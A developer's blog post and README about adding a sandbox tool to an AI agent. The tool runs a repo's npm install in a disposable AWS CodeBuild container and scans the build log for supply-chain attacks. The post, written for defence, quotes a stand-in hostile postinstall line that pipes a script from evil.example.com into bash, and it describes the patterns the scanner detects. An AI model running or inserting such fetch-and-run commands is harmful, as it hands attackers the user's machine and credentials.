This started as an AWS Builder Center weekend challenge: take an agent you already built, add one new tool, and show the before and after. Mine went from reading a repo to actually running it.
My agent could read a GitHub repo and tell you if it looked safe. That word, looked, was the problem. So I gave it one new tool, and it stopped guessing.
I had RepoPilot, a Strands agent on Amazon Bedrock that inspects a public repo and tells you whether it is safe to clone and run. Every tool it had read the repo from the outside. The README, the manifests, the file tree. Useful, but it is a book report. The dangerous part of a repo is not what you read. It is what runs the moment you type npm install.
So the one tool I added runs it. In a disposable AWS sandbox. And the difference is not subtle.
TL;DR: RepoPilot used to score a repo by reading it (5 static tools). I added one Strands @tool, run_in_sandbox, that runs the install in a throwaway AWS CodeBuild container and reads the real build log. On a sneaky repo the static read says "looks fine"; the sandbox catches a curl | bash postinstall. Code, live demo, and a 2 minute video are at the end.
The one npm install away from disaster
The scary moment with someone else's code is install time, not reading time. An npm preinstall or postinstall hook, a pip build step, a Makefile target: these execute automatically, with your shell's full environment, the second you install. By then the code already ran, with whatever your terminal can reach. Your AWS keys. Your SSH keys. Your session tokens.
This is not hypothetical. In 2026 the npm registry kept getting hit with weaponized postinstall payloads inside trusted packages: the Mastra compromise and the Axios RAT both shipped code that ran at install time. Security vendor Aikido counted roughly 19,500 malicious package versions in a single quarter. The blunt way developers say it: you are one npm install away from disaster.
Almost every tool that claims to help does static analysis. It reads the code without running it and guesses. That is exactly blind to the thing that makes install-time attacks work, a hook that only shows its hand when it executes. A reader cannot see a postinstall fire. A runner can.
Before: the agent reads the repo
RepoPilot v1 had five tools, and all five were readers. Point it at pallets/click and it would pull the README and the manifest, see they agree, and say "looks safe, try pip install .". Point it at a repo whose package.json quietly carried a postinstall that piped a remote script into a shell, and it would say the same thing: "looks fine." Not because it was careless. Because the hook is invisible to anything that only reads.
That is an honest verdict about the text. It is not an honest verdict about what happens when you run it.
After: the agent runs it in a disposable AWS sandbox
The new tool is a single Strands @tool called run_in_sandbox:
@tool
def run_in_sandbox_tool(repo: str, clone_url: str, install_cmd: str) -> str:
"""Run the repo's install in a disposable AWS CodeBuild sandbox and report the REAL
result: success or fail, the plain-language cause, and any supply-chain danger in the log."""
sb = CodeBuildSandbox(os.environ["REPOPILOT_SANDBOX_PROJECT"])
return json.dumps(sb.run(repo, clone_url, install_cmd).__dict__)
It clones the repo and runs its install inside an ephemeral AWS CodeBuild container, captures the real build log from CloudWatch, reports whether the install actually succeeded, and scans that real log for supply-chain danger: a remote script piped into a shell, an eval of a download, a download-then-chmod-then-run, a destructive sudo.
The container is thrown away after the run. The untrusted code executes in AWS, never on your laptop. That is the whole safety argument in one sentence: it presses the button in a box, so you do not press it on your machine.
Point it at that same sneaky repo and the agent comes back with something a scanner could never produce:
Caught it. The install piped
curl -s https://evil.example.com/i.sh | bashstraight into a shell. That line is in the real build log.
Same agent. Same repo. One new tool. v1 is a confident guess. v2 is the truth, quoted from a log of code that actually ran.
How the tool works
The agent reasons with Amazon Nova Pro on Bedrock through the Strands SDK. The tool is boring in the best way, which is what makes it reusable:
-
build_buildspecwrites the clone and install steps into a base64-encoded shell script inside the CodeBuild buildspec. I did that after a real run failed: a repo's install command had quotes in it and broke the YAML. Base64 makes any quoting safe, and the tests now cover exactly that case. -
CodeBuildSandbox.runcallsStartBuild, polls until the build finishes, then pulls the log from CloudWatch. -
scan_log_for_dangermatches the real executed log and returns each flag with a plain-English reason and the exact evidence line. -
summarize_buildturns it into a small JSON result any agent framework can consume. - If AWS is not configured, the tool returns an "unavailable" result and the agent falls back to its static tools, so it never dead-ends.
The service role is least-privilege: it can write CloudWatch Logs and nothing else, because the clone and install need no AWS permissions.
Why it is reusable
run_in_sandbox is a drop-in Strands @tool with one environment variable and one setup script. Any agent that has to answer "is it safe to actually run this untrusted thing?" can use the same pattern: run it in a disposable CodeBuild container, read the real log, decide from evidence instead of appearance.
One AWS service and one env var, so setup is a single script that also creates the least-privilege role. An injectable AWS client, so the verdict logic is unit-tested with a fake CodeBuild and CloudWatch, no AWS needed, which is how nine tests run green offline. And a clean JSON result object, so the framework around it does not matter.
Proof, and an honest take
Both paths were validated end to end against live AWS CodeBuild. The safe repo came back SUCCEEDED with no danger. The sneaky repo came back SUCCEEDED too, and the danger scan flagged remote_pipe_to_shell with the exact curl | bash line pulled from the real log.
I will be honest about the edges. The sandbox runs the install step, where install-time attacks fire and where most first-run failures happen, not the whole application. The danger scan is pattern-based over the log, so it catches the common, high-value classes, not every possible obfuscation. And CodeBuild has outbound network by default because installs need it; a stricter build would pin egress to an allow-list.
Running the code and reading the real log is a categorically better signal than reading a README and hoping.
Try it
The live demo is the real RepoPilot UI with the tool built in: inspect a repo (try the safe pallets/click and the sneaky evil/fake-agent-kit), then hit "Run it in a disposable AWS sandbox" and watch the agent go from "looks fine" to "caught it." It is a static replay of real recorded runs, so it costs nothing to keep online.
simplynadaf
/
repopilot-sandbox-tool
I gave my agent one new tool: a disposable AWS CodeBuild sandbox that actually runs a repo and catches the postinstall a static scan misses. AWS Builder Center weekend challenge.
🧪 RepoPilot now runs the repo
I gave my existing agent one new tool: a disposable AWS sandbox that clones a GitHub repo, actually runs its install inside an ephemeral AWS CodeBuild container, and reports what really happened, catching the postinstall that a static scan never sees.
🏗️ Built for the AWS Builder Center Weekend Challenge: Give your Agent a Tool
Everyone scans the repo. RepoPilot runs it, in a disposable AWS box, so your laptop doesn't.
The One New Tool • Before / After • How the Tool Works • The Reusable Pattern • Getting Started • Proof It Works
The new tool, inside RepoPilot's own UI
RepoPilot scores the repo (the guess), then the new tool actually runs the install in a disposable AWS sandbox and catches the curl | bash the static scan never sees (the proof).
📖 Table of Contents
Watch the 2 minute before and after demo:
Try the live playground yourself (static replay, zero cost):
This was built for the AWS Builder Center weekend challenge, Give your Agent a Tool: https://builder.aws.com/project/3L6g5QxJOXWAd6XGXxsHzvvxhQT/i-gave-my-ai-agent-one-new-tool-a-disposable-aws-sandbox-that-actually-runs-the-repo
Everyone scans the repo. RepoPilot runs it, in a disposable AWS box, so your laptop does not.
Follow me for more on AWS architecture, DevOps, and AI Infrastructure:
Portfolio | LinkedIn | Dev.to | YouTube | AWS Builder Center | X
Top comments (8)
The install-time framing is the right one — static analysis can read every manifest and still miss a preinstall/postinstall hook that executes with the shell's full environment the moment npm runs. Running the install in a throwaway container and reading the real build log turns 'looks fine' into an observed behavior, which is the only signal a supply-chain hook leaves before it does damage. The same discipline applies to bundling a desktop app: a lockfile and script inspection help, but any untrusted dependency's lifecycle scripts should be treated as executable until they've been exercised in an isolated environment.
That's the gap I wanted to address with RepoPilot. Reading package.json and checking lifecycle scripts is useful, but it still doesn't tell us what actually happens during installation.
One thing I'm also careful about is that running something in a disposable container doesn't automatically make it safe. Network access and permissions still matter. In my implementation, I'm capturing the actual CodeBuild logs and checking them for suspicious execution patterns. It's a practical first layer, not a complete security guarantee.
I haven't extended it to desktop app packaging yet, but that's an interesting use case. Have you seen any particular lifecycle scripts or dependency behaviours causing problems in desktop app builds?
The before/after framing really lands — v1 saying "looks fine" about a postinstall that pipes a remote script into a shell is exactly the gap static scoring can't close. Running the install in a disposable CodeBuild container and quoting the real build log is a much stronger signal, and the least-privilege service role is a nice touch. Curious whether you've tried the same pattern for pip build steps or Makefile targets yet, since those fire at install time too.
I haven't extended the current implementation to pip build steps or Makefile targets yet. The current focus is npm lifecycle scripts, but the underlying approach can be applied to other package managers as well. I think the important part is not just detecting suspicious commands beforehand, but observing what actually executes during the build. pip build backends and Makefile targets are definitely worth exploring next.
Have you worked with any particular Python packages or build workflows where you've seen this kind of behaviour?
The base64-wrapped install script inside the buildspec is a nice detail — I've hit exactly that failure mode where a repo's install command contains quotes and the buildspec YAML chokes, and most sandbox tutorials just say "escape it properly". One edge worth thinking about: CodeBuild has outbound network access, so a malicious postinstall that detects it's in a throwaway environment (checks for EC2 metadata endpoints, short uptime, etc.) could behave benignly in the sandbox and maliciously on a dev machine. Did you consider blocking egress by default and whitelisting only the registry hosts? That would also make the log evidence cleaner since the sandbox becomes the only network the code can talk to.
That's a valid concern, and I agree that outbound network access is one of the important gaps to consider. In the current implementation, I haven't added default egress blocking or registry-only whitelisting yet. The sandbox focuses on isolating execution and capturing what happens during installation.
Your point about environment-aware malware is also important. A malicious script could behave differently when it detects a disposable environment. Blocking outbound traffic by default and allowing only required registry endpoints would be a good next step. It would also reduce the chances of a script downloading and executing additional payloads.
I'd like to explore this further. Have you implemented registry-only egress restrictions with CodeBuild, or would you approach it through VPC endpoints and network firewall rules?
The 'looks fine' before/after is the whole argument in one screenshot — a reader literally cannot see a postinstall fire. I like that you didn't stop at the demo either; the base64-in-buildspec detail is the kind of thing you only learn by actually running it. One thing I'm curious about: you mentioned pip and Makefiles aren't covered yet — is that a 'same tool, different parser' job, or does the sandbox need to change for those?
I think the sandbox itself can remain mostly the same. The bigger change would be in how we trigger and inspect the execution.
For pip, we'd need to cover build backends and installation hooks. For Makefiles, we'd need to execute the relevant targets and inspect the commands and logs. So it's not just a parser change; the execution flow and detection rules would also need some work.
I'd prefer to keep the sandbox isolated and extend the execution layer rather than build a completely different environment for each ecosystem. That's something I'd like to explore next.